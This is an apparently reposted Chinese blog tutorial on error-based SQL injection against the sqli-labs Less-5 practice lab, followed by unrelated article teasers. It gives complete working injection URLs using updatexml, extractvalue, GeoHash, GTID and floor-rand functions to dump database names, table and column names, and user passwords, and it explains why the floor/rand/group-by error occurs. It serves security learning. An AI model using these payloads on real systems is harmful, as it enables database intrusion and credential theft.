SQL报错注入

君衍.

  • 一、sqllabs第五关报错注入
    • updatexml报错注入原理及思路
  • 二、常见的报错函数
  • 三、floor报错注入原理
    • 1、概念
    • 2、函数回顾
      • 2.1 rand函数
      • 2.2 floor(rand(0)*2)函数
      • 2.3 group by函数
      • 2.4 count(*)函数
      • 2.5 函数综合报错
    • 3、报错分析
    • 4、总结

一、sqllabs第五关报错注入

之前我在这篇文章SQL注入基础思路讲解了联合查询注入,使用union关键字,在数据的返回位置进行数据查询,所以这里我们对上面这篇博客进行补充:报错注入

这里我使用sqllabs第五关进行演示,首先,报错注入它的应用场景便是基于当前页面存在注入点,却没有返回任何数据的位置,使用union进行联合查询无效,无法显示数据,但是能回显出对数据库的报错信息,这时我们采用报错函数对数据进行读取注入:
在这里插入图片描述
这里我们可以在后台查看下源码,逐行说下

# 首先这里定义了SQL查询语句,从名为users的数据库表中选择所有列,id值就是给定的$id值
# 查询使用limit 0,1限制结果集只包含一条记录
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 这里执行SQL查询语句并将结果保存在$result变量中
$result=mysql_query($sql);
# 然后从查询结果中获取一行数据存储在$row数组中
$row = mysql_fetch_array($result);
# 这里主要判断是否成功获取一行数据
	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	# 主要这行代码,输出MySQL数据库错误信息
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

在这里插入图片描述
所以此处,我们可以使用报错函数使之返回数据:

updatexml报错注入原理及思路

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

在这里插入图片描述
这里我们选择报错注入,所以也就涉及到了一个函数:updatexml函数
我们使用的是updatexml注入报错,这里我们就要去想updatexml为啥会报错?
首先updatexml的函数格式为updatexml(xml_doument,XPath_string,new_value);所以说这里我们需要认识到它三个参数的含义是什么?

  • 1、第一个参数其实就是XML的内容
  • 2、第二个参数就是需要更新update的位置XPATH路径
  • 3、第三个参数就是更新之后的内容

好的,认识上面三个参数之后,其实这里我们还需要知道,我们使用updatexml(1,concat(0x7e,(select user()),0x7e),1)为什么会显示出root@localhost?
了解到第一个参数以及第三个参数其实这两个参数是可以随便写的,它只需要利用第二个参数,来校验你输入的内容是否符合XPATH格式。
可能这里有人要问为什么要添加0x7e,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。

所以这里我们就是利用updatexml函数的报错,来回显出我们想要查询出来的内容。好的,到这里我们一个报错函数的原理我们已经理解了,下面就是使用这个报错函数进行注入:

所以就老规矩,先查数据库名,再查表名,最后列名输出。
数据库名:

http://127.0.0.1/sqli7/Less-5/?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述

表名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
列名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
注入:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节,所以这里我们就得想办法让它回显出所有内容,那么我们就要用到limit来分段显示:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
原理:
在这里插入图片描述
到这里我们使用updatexml函数进行注入就已经完成了,下面我们来看看其他报错函数。
补充
对于报错注入回显限制问题我们共两个方案:

#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
and  updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐)
and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

二、常见的报错函数

这里注入思路就和一里面一样,SQL语句内部差不多,所以这里不过多赘述。
(如果里面有过滤还需绕过进行注入)
1、updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

使用方法:

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

在这里插入图片描述
2、extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

使用方法:

http://127.0.0.1/sqli7/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
3、ST_LatFromGeoHash()(mysql>=5.7.x)

?id=1' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
4、 ST_LongFromGeoHash(mysql>=5.7.x)

?id=1' and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

在这里插入图片描述
5、GTID (MySQL >= 5.6.X - 显错<=200)
GTID:GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。
GTID_SUBSET() 和 GTID_SUBTRACT()函数可以拿来实现报错注入
函数原理:

  • GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
  • GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  • GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
#GTID_SUBSET函数
gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
#GTID_SUBTRACT函数
gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

在这里插入图片描述

在这里插入图片描述
6、ST_Pointfromgeohash (mysql>=5.7)

?id=1' and  ST_PointFromGeoHash(version(),1)--+

在这里插入图片描述
7、floor注入

(select 1 from (select count(*),concat(回显查询位置,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取users表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

三、floor报错注入原理

floor是mysql中的函数,而报错注入则是结合了这几个函数:groupby+rand+floor+count完成的注入。

1、概念

floor报错注入就是利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

2、函数回顾

下面我们来回顾下这几个函数:count、group by、floor、rand

2.1 rand函数

rand()可以产生一个在0和1之间的随机数
在这里插入图片描述
直接使用rand函数每次产生的数则不相同,但是如果我们提供了一个固定的随机数0之后:
在这里插入图片描述
这里我们可以看到值是固定的如果提供一个固定的0,这个随机数也可以称为伪随机(产生的数据都是可以预知的),我们这里可以查看多个数据:
在这里插入图片描述
在这里插入图片描述
这里我们可以看到产生第一次的随机数与第二次是完全一样的,好的,知道了rand函数我们下面看floor函数与rand函数配合使用。

2.2 floor(rand(0)*2)函数

首先floor函数作用就是返回小于等于括号内该值的最大整数。
同时,rand函数则是返回一个0到1之间的随机数,所以,floor(rand(0))产生的数只有0,这样也就不能实现报错了,所以这里我们需要乘以2,下面我们在数据库中查看下:
在这里插入图片描述
这样我们便可看到全为0,无法完成我们的报错,所以下面我们乘以2,使其返回0到2之间的随机数,然后配合floor()就可以产生确定的两个数,也就是0与1,如下图所示:
在这里插入图片描述
这里我们便可看到,它产生了一串固定的随机种子数列,为0 1 1 0 1 1 0 0 1 1 1 0 1,当然了光这两个函数配合还是无法实现我们的报错注入的,所以下面我们接着看group by函数。

2.3 group by函数

首先group by主要是用于对数据进行分组的,即相同的为一组。
下面我们来简单看下:
在这里插入图片描述
以上是users的原表,下面我们进行分组,同时使用别名来代替属性:
在这里插入图片描述
同时也可以省略as:
在这里插入图片描述
然后使用group by函数进行分组,按照x进行排序,同时需要注意的是最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值:
在这里插入图片描述

2.4 count(*)函数

count(*)统计结果的记录数
这里可以进行统计总共的数值,如下图所示:
在这里插入图片描述
这里就是对重复性的数据进行整合,然后计数,x为某一类的数量。

2.5 函数综合报错

select count(\*),floor(rand(0)\*2) x from users group by x;

在这里插入图片描述
这里我们根据前面几个函数来理解这个语句的意思,原本意思是统计后面产生随机数的种类并每种数量。分别产生我们可以在上面知晓。
产生的随机数:0 1 1 0 1 1 0 0 1 1 1 0 1
理论输出:
0 5
1 8
0是5个,1是8个,但是它最后却产生了错误,下面我们进行报错分析。

3、报错分析

首先MySQL遇到该语句时,会建立一个虚拟表,这个虚拟表有两个字段,一个是分组key,一个是计数值count(),也就是对应于实验中的username以及count()
然后在查询数据的时候,首先需要查看虚拟表中是否有这个分组,如果有,那么计数值加1,如果没有那么就创建一个这样的分组。同时,根据MySQL官方文档,在查询过程中如果使用rand(),那么这个值就会被计算多次。
**即为若使用group byfloor(rand(0)*2)会被执行一次,如果虚拟表不存在记录,插入虚表的时候会再被执行一次,我们可以看下floor(rand(0)*2)报错过程,原本floor(rand(0)*2)查询的值是固定的,而报错实际上是floor(rand(0)*2)被多次执行导致的,**如下:

1、查询前默认会创建空虚拟表如下:

在这里插入图片描述

2、取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算)

在这里插入图片描述

3、查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕

在这里插入图片描述

4、查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

在这里插入图片描述

5、查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕:

在这里插入图片描述

6、查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

在这里插入图片描述

7、查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入

在这里插入图片描述
到这里,我们会发现1这个主键已经存在过虚拟表中了,而新计算的值为1,之前我们已经有1了,这就与MySQL的主键值必须唯一相违背,所以就会报错。

4、总结

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

这里我们可以1来作为随机数种子,如下:
在这里插入图片描述
最后还需注意的是,我们采用报错注入从数据表中读取了三条有效的数据,如果有效数据不足三条的话,也是无法触发floor报错信息的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/357696.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux系列之查看cpu、内存、磁盘使用情况

查看磁盘空间 df命令用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间&#xff0c;目前还剩下多少空间等信息。使用df -h命令&#xff0c;加个-h参数是为了显示GB MB KB单位&#xff0c;这样更容易查看 Filesystem …

使用Hugging Face下载ImageNet

1. 创建Hugging Face账号&#xff0c;在个人中心的setting部分&#xff0c;生成Access Token 2. 使用在python命令行中运行&#xff1a; pip install datasets 此时需要输入token 3. 新建一个python文件 from datasets import load_dataset dset load_dataset(imagenet-1k…

http-server开启一个服务器

前言 在写前端页面中&#xff0c;经常会在浏览器运行HTML页面&#xff0c;从本地文件夹中直接打开的一般都是file协议&#xff0c;当代码中存在http或https的链接时&#xff0c;HTML页面就无法正常打开&#xff0c;为了解决这种情况&#xff0c;需要在在本地开启一个本地的服务…

vuex store,mutations,getters,actions

文章目录 1.vuex概述2.构建vuex【多组件数据共享】环境Son1.vueSon2.vueApp.vue 3.创建一个空仓库4.如何提供&访问vuex的数据①核心概念 - state状态1.通过store直接访问2.通过辅助函数简化代码 ②核心概念 - mutations&#xff08;粗略&#xff09; 5.核心概念 - mutation…

如何在 VM 虚拟机中安装 Kail Linux 2023.4 操作系统保姆级教程(附链接)

一、VMware Workstation 虚拟机 先得安装 VM 虚拟机&#xff0c;没有的可以参考这篇文章安装 VM 虚拟机 如何在 VM 虚拟机中安装 Win10 操作系统保姆级教程&#xff08;附链接&#xff09;https://eclecticism.blog.csdn.net/article/details/135713915 二、Kail 镜像 进入…

树控件、下拉框、文本框常用测试用例

01 控件的测试外观操作 1&#xff09;项目中的所有树是否风格一致 2&#xff09;树结构的默认状态是怎样的。比如默认树是否是展开&#xff0c;是展开几级&#xff1f; 是否有默认的焦点&#xff1f;默认值是什么&#xff1f;展开的节点图标和颜色&#xff1f; 3&#xff09…

关于如何将Win幻兽帕鲁服务端存档转化为单人本地存档的一种方法(无损转移)

本文转自博主的个人博客&#xff1a;https://blog.zhumengmeng.work,欢迎大家前往查看。 原文链接&#xff1a;点我访问 **起因&#xff1a;**最近大火的开放世界缝合体游戏幻兽帕鲁的大火也是引起了博主的注意&#xff0c;然后博主和周边小伙伴纷纷入手&#xff0c;博主也是利…

谷歌人工智能视频生成器-LUMIERE(未开源)

Google重磅发布视频生成模型Lumiere 据说后续会开源 亮点1.支持文本到视频与图像到视频 亮点2.画风迁移 亮点3.运动蒙版 亮点4.视频编辑 亮点5.视频修复 谷歌视频模型可以生成80帧的片段&#xff01;不仅画质好、质量高&#xff0c;而且时长更长。 视频局部编辑 这项功能可以…

07.领域驱动设计:了解3种常见微服务架构模型的对比和分析

目录 1、概述 2、整洁架构 3、六边形架构 4、三种微服务架构模型的对比和分析 5、从三种架构模型看中台和微服务设计 5.1 中台建设要聚焦领域模型 5.2 微服务要有合理的架构分层 5.2.1 项目级微服务 5.2.2 企业级中台微服务 5.3 应用和资源的解耦与适配 6、总结 1、概…

C语言-动态内存申请

一、动态分配内存的概述 在数组一章中&#xff0c;介绍过数组的长度是预先定义好的&#xff0c;在整个程序中固定不变&#xff0c;但是在实际的编程中&#xff0c;往往会发生这种情况&#xff0c;即所需的内存空间取决于实际输入的数据&#xff0c;而无法预先确定 。为了解决…

一、创建Vue3项目

1. 下载 node.js 下载地址&#xff1a;https://nodejs.org/zh-cn 优先选择 16 版本; node -v || node -version 可以检查本地 node.js 版本 2. 设置淘宝镜像源 npm config set registry https://registry.npmmirror.com/ 设置淘宝镜像源 npm config get registry 查看当前镜像…

常见的网络安全威胁和防护方法

随着数字化转型和新兴技术在各行业广泛应用&#xff0c;网络安全威胁对现代企业的业务运营和生产活动也产生了日益深远的影响。常见的网络安全威胁通常有以下几种&#xff1a; 1. 钓鱼攻击 攻击者伪装成合法的实体&#xff08;如银行、电子邮件提供商、社交媒体平台等&#xf…

解析PDF二维码:数字时代文件管理的创新之道

随着数字时代的来临&#xff0c;文件管理方式正经历着翻天覆地的变革。在这个变革的浪潮中&#xff0c;PDF二维码作为一种创新的技术手段&#xff0c;正逐渐引起人们的关注。本文将深入探讨PDF二维码的概念、应用领域以及在文件管理中的前景。 一、PDF二维码的概念 PDF二维码…

mcu专用看门狗复位芯片(如MAX706)

mcu专用看门狗复位芯片&#xff08;如MAX706&#xff09; 为什么要使用电压复位芯片RESET引脚WDO引脚MR引脚WDI引脚 国产替代型号应用电路1 推荐电路&#xff08;用一个跳线帽使能/关闭看门狗功能&#xff0c;调试MCU时防止看门狗芯片随便触发复位功能&#xff09;&#xff0c;…

Linux操作系统概述

操作系统&#xff08;Operating System&#xff09;的定义 操作系统&#xff0c;是指直接管理系统硬件和资源&#xff08;如 CPU、内存和存储空间&#xff09;的软件。 操作系统的基本功能 ①统一管理计算机资源&#xff1a;处理器资源&#xff0c;IO设备资源&#xff0c;存储…

Flutter的安装与环境配置

一、下载安装Futter&#xff1a; 1、Flutter中文文档&#xff1a; 安装和环境配置 - Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 2、下载 Futter SDK&#xff1a; Flutter中文文档 里面有&#xff0c;下载完成之后找个文件夹解压出来&#xff0c;最好不要将 Flu…

MybatisPlus应用参数类型不一致导致索引失效

业务场景介绍 在电商项目中&#xff0c;有一个商品表【t_goods】和一个商品sku表【t_goods_sku】,具体表结构如下所示&#xff1a; CREATE TABLE t_goods (id bigint NOT NULL AUTO_INCREMENT COMMENT 主键id,brand_id varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_…

Java链表(2)

&#x1f435;本篇文章将对双向链表进行讲解&#xff0c;模拟实现双向链表的常用方法 一、什么是双向链表 双向链表在指针域上相较于单链表&#xff0c;每一个节点多了一个指向前驱节点的引用prev以及多了指向最后一个节点的引用last&#xff1a; 二、双向链表的模拟实现 首先…

Python实现时间序列分析AR定阶自回归模型(ar_select_order算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 时间序列分析中&#xff0c;AR定阶自回归模型&#xff08;AR order selection&#xff09;是指确定自回…

GPT栏目:yarn 安装

GPT栏目&#xff1a;yarn 安装 一、前言 在跟GPT交互的时候&#xff0c;发现最近gpt4给出的答案率有了比较明显的提高&#xff0c;简单记录一下&#xff0c;我用gpt4拿到的答案吧。 本人已按照这个步骤成功 二、具体步骤 要安装 yarn&#xff0c;你可以按照以下步骤进行操作…